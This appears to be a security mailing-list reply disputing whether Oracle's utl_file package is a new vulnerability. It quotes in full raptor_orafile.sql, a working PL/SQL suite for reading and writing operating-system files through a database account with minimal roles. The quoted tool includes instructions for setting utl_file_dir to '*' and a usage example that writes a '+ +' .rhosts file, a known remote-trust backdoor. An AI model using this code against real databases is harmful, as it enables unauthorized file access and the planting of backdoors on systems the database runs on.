Re: Oracle <= 9i / 10g File System Access via utl_file Exploit



HI,
I don't think so its any new vulnerability or exploit
(make me
correct). As i remember there was a vulnerability
related to Directory
Traversal via this package
http://www.red-database-security.com/exploits/oracle-directory-traversal-via-utl_file.html
What i believe its a feature to acess OS files. it
never come as a
good practice to set utl_file_dir=* . On OS you cant
set acess for an
database acoount like scott or others.
Rgards
Sumit
--- none@xxxxxxxx wrote:

-- $Id: raptor_orafile.sql,v 1.1 2006/12/19 14:21:00
raptor Exp $
--
-- raptor_orafile.sql - file system access suite for
oracle
-- Copyright (c) 2006 Marco Ivaldi
<raptor@xxxxxxxxxxxxxxx>
--
-- This is an example file system access suite for
Oracle based on the utl_file
-- package
(http://www.adp-gmbh.ch/ora/plsql/utl_file.html).
Use it to remotely
-- read/write OS files with the privileges of the
RDBMS user, without the need
-- for any special privileges (CONNECT and RESOURCE
roles are more than enough).
--
-- The database _must_ be configured with a non-NULL
utl_file_dir value
-- (preferably '*'). Check it using the following
query:
-- SQL> select name, value from v$parameter where
name = 'utl_file_dir';
--
-- If you have the required privileges (ALTER
SYSTEM) and feel brave
-- enough to perform a DBMS shutdown/startup, you
can consider modifying
-- this parameter yourself, using the following
PL/SQL:
-- SQL> alter system set utl_file_dir='*' scope
=spfile;
--
-- See also:

http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql
--
-- Usage example:
-- $ sqlplus scott/tiger
-- [...]
-- SQL> @raptor_orafile.sql
-- [...]
-- SQL> exec utlwritefile('/tmp', 'mytest', '# this
is a fake .rhosts file');
-- SQL> exec utlwritefile('/tmp', 'mytest', '+ +');
-- SQL> set serveroutput on;
-- SQL> exec utlreadfile('/tmp', 'mytest');
-- # this is a fake .rhosts file
-- + +
-- End of file.
--

-- file reading module
--
-- usage: set serveroutput on;
-- exec utlreadfile('/dir', 'file');
create or replace procedure utlreadfile(p_directory
in varchar2, p_filename in varchar2) as
buffer varchar2(260);
fd utl_file.file_type;
begin
fd := utl_file.fopen(p_directory, p_filename, 'r');
dbms_output.enable(1000000);
loop
utl_file.get_line(fd, buffer, 254);
dbms_output.put_line(buffer);
end loop;
exception when no_data_found then
dbms_output.put_line('End of file.');
if (utl_file.is_open(fd) = true) then
utl_file.fclose(fd);
end if;
when others then
if (utl_file.is_open(fd) = true) then
utl_file.fclose(fd);
end if;
end;
/

-- file writing module
--
-- usage: exec utlwritefile('/dir', 'file', 'line to
append');
create or replace procedure utlwritefile(p_directory
in varchar2, p_filename in varchar2, p_line in
varchar2) as
fd utl_file.file_type;
begin
fd := utl_file.fopen(p_directory, p_filename, 'a');
-- append
utl_file.put_line(fd, p_line);
if (utl_file.is_open(fd) = true) then
utl_file.fclose(fd);
end if;
end;
/



__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com



Relevant Pages

  • Re: Help trying to debug this DUMB pl/sql code
    ... I have a package I'm trying to run through a debugger and find some ... The package uses a defined type VARRAY: ... p_save_out OUT VARCHAR2, ... Puget Sound Oracle Users Group ...
    (comp.databases.oracle.server)
  • Re: jdbc + CallableStatement +Incorrectly registered parameters
    ... > Oracle and java. ... > I've created a package with a function to find buss connection ... > FUNCTION getdirect(from_city varchar2, to_city varchar2) RETURN ... > CallableStatement stmt = db.prepareCall; ...
    (comp.lang.java.databases)
  • How to reverse an LDAP query?
    ... address from their username in an LDAP server. ... Below is the query and the package. ... a_host varchar2, ... -- Loop through the entries ...
    (comp.databases.oracle.server)
  • Re: Help trying to debug this DUMB pl/sql code
    ... I have a package I'm trying to run through a debugger and find some ... The package uses a defined type VARRAY: ... p_save_out OUT VARCHAR2, ... If I try to debug using SQL Developer, ...
    (comp.databases.oracle.server)
  • Re: Any suggestions with this updated code????
    ... This Oracle sproc is so ... --Create a package to declare a ref cursor globally ... street_no in varchar2, street_name in varchar2); ... create or replace package body property1 as ...
    (microsoft.public.vb.database.ado)